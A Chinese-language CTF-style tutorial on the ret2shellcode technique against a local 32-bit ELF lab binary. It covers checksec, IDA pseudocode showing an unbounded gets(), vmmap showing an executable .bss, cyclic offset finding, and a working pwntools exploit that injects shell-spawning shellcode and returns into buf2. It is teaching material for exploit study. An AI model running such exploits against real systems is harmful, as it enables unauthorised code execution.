ret2shellcode

在栈溢出的攻击技术中通常是要控制函数的返回地址到自己想要的地方执行自己想要执行的代码。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的shellcode区域中去执行shellcode代码,这是非常危险的。

step1 32bit or 64bit?

1
命令:file <.ELF>
1
2
3
ROP$ file ret2shellcode 
ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped
ROP$ gdb ./ret2shellcode

step2 checksec

1
命令:checksec <.ELF>
1
2
3
4
5
6
7
8
ROP$ checksec ret2shellcode
[*] '/home/pwn/桌面/题目/ROP/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

step3 IDA32

打开即主函数main(),直接F5反汇编,伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s); //危险函数
strncpy(buf2, s, 0x64u); //0x64u为无符号十六进制64
printf("bye bye ~");
return 0;
}

gets()并没有对其输入长度做限制,因此存在溢出,且将输入的值复制到了buf2的内存空间里,点击buf2,进行跳转,发现buf2在.bss段内的空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 20h
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080
.prgend:0804A0E4 ; ===========================================================================
.prgend:0804A0E4
.prgend:0804A0E4 ; Segment type: Zero-length
.prgend:0804A0E4 _prgend segment byte public '' use32
.prgend:0804A0E4 _end label byte
.prgend:0804A0E4 _prgend ends
.prgend:0804A0E4

step4 查看.bss段

1
process:gdb ret2shellcode-->b main-->r(run)-->vmmap

通过 vmmap,查看.bss 段对应的段具有可执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pwn/桌面/题目/ROP/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/pwn/桌面/题目/ROP/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/桌面/题目/ROP/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp 1e8000 0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp 2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp 2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp 2000 0
0xf7fcb000 0xf7fcd000 rwxp 2000 0
0xf7fcd000 0xf7fd0000 r--p 3000 0 [vvar]
0xf7fd0000 0xf7fd1000 r-xp 1000 0 [vdso]
0xf7fd1000 0xf7ffb000 r-xp 2a000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]

所以把只要把内容写到以下这个地方,然后返回地址跳转到 bss 段就可以执行 shellcode

1
0x804a000  0x804b000 rwxp     1000 1000   /home/pwn/桌面/题目/ROP/ret2shellcode

step5 padding

1
生成字符:cyclic 150
1
2
桌面$ cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma

退出gdb,重新进入,填充字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> q
ROP$ gdb ./ret2shellcode
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./ret2shellcode...
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2shellcode
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()

!!!关键信息 报错地址:0x62616164

1
0x62616164 in ?? ()

step6 计算stack空间大小

1
命令:cyclic -l 0x62616164
1
2
桌面$ cyclic -l 0x62616164
112
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
                             +-----------------+
| buf2_addr | 原ret返回位置
+-----------------+
| Caller's ebp | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
+-----------------+
| s |
s起始,ebp-0x6C-->+-----------------+
# 这里的s的值存放着shellcode和一些垃圾数据,而不是单纯的垃圾数据,里面含有控制程序流的数据,因为后面有
# strcpy函数要将s复制到buf里,而我们返回地址便是buf2_addr,这样我们的返回地址就含有shellcode,
# shellcode.ljust(112,'a') 就是先填充shellcode,再填充字符'a',故返回地址buf2_addr就先填充
# shellcode来控制程序执行流

step7 exp

shellcraft.sh()是自带的一段shellcode,可以自己写,也可以去这里找,然后通过ljust方法左对齐填充字节,直到溢出到返回地址,buf2_addr即是可执行shellcode的地址

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
print(shellcraft.sh()) //print语句可去掉
buf2_addr = 0x804a080 //buf2地址
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr)) //要在'A'前面加b
print(shellcode.ljust(112,b'A')) //要在'A'前面加b
sh.interactive()

shellcode.ljust(112,’a’) 可以控制垃圾数据与 shellcode 合起来的长度为112,上面是给出的 exp 等价于下面的

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
shellcode += 'A'*(112-len(shellcode))
print(shellcode)
buf2_addr = 0x804a080
sh.sendline(shellcode + p32(buf2_addr))
sh.interactive()

step8 pwn

1
2
3
测试命令:
whoami
ls
1
2
3
4
5
6
7
8
9
10
ROP$ python3 exp.py
[+] Starting local process './ret2shellcode': pid 2310
[*] Switching to interactive mode
No system for you this time !!!
bye bye
~$ whoami
pwn
$ ls
core ret2libc1 ret2libc3 ret2syscall tools
exp.py ret2libc2 ret2shellcode ret2text

最后pwn完,可以Ctrl+C退出shell

易错点

step3中显示字符数组s距离ebp为0x64字节(即100字节),此处为静态分析,可能存在不准确,故要进行动态调试分析,如果直接使用step5和step6则可直接得出填充长度,可不用动态分析

1
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

这里我们动态分析下,依旧先调试三连,n执行下去,当执行到下面时,再next,会让我们输入数据,我们随便输几个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  0x8048570 <main+67>     mov    dword ptr [esp + 4], 0
0x8048578 <main+75> mov dword ptr [esp], eax
0x804857b <main+78> call setvbuf@plt <setvbuf@plt>

0x8048580 <main+83> mov dword ptr [esp], 0x8048660
0x8048587 <main+90> call puts@plt <puts@plt>

0x804858c <main+95> lea eax, [esp + 0x1c]
0x8048590 <main+99> mov dword ptr [esp], eax
0x8048593 <main+102> call gets@plt <gets@plt>

0x8048598 <main+107> mov dword ptr [esp + 8], 0x64
0x80485a0 <main+115> lea eax, [esp + 0x1c]
0x80485a4 <main+119> mov dword ptr [esp + 4], eax

stack命令尽量大点,可用stack 50,能观察到ebp与字符填充的距离即可(说明:‘aaaa’有两个,通常地址指向的即为其所存放的值,如果有双箭头,比如ESP的地址为0xffffd0f0,存放的是指针0xffffd10c,而这个指针又存放着‘aaaa’,故真实存放‘aaaa’的地址是0xffffd10c

1
2
3
4
5
6
7
00:0000│ esp  0xffffd0f0 —▸ 0xffffd10c ◂— 'aaaa'
01:00040xffffd0f4 ◂— 0x0
02:00080xffffd0f8 ◂— 0x1
03:000c│ 0xffffd0fc ◂— 0x0
... ↓
06:00180xffffd108 —▸ 0xf7ffd000 ◂— and al, 0xbf /* 0x2bf24 */
07:001c│ eax 0xffffd10c ◂— 'aaaa'

image-20221202213719919

计算相对偏移地址

1
2
pwndbg> p 0x88 - 0x1c
$1 = 108

可以得出gdb动态分析和ida静态分析结果不同,s与ebp距离不同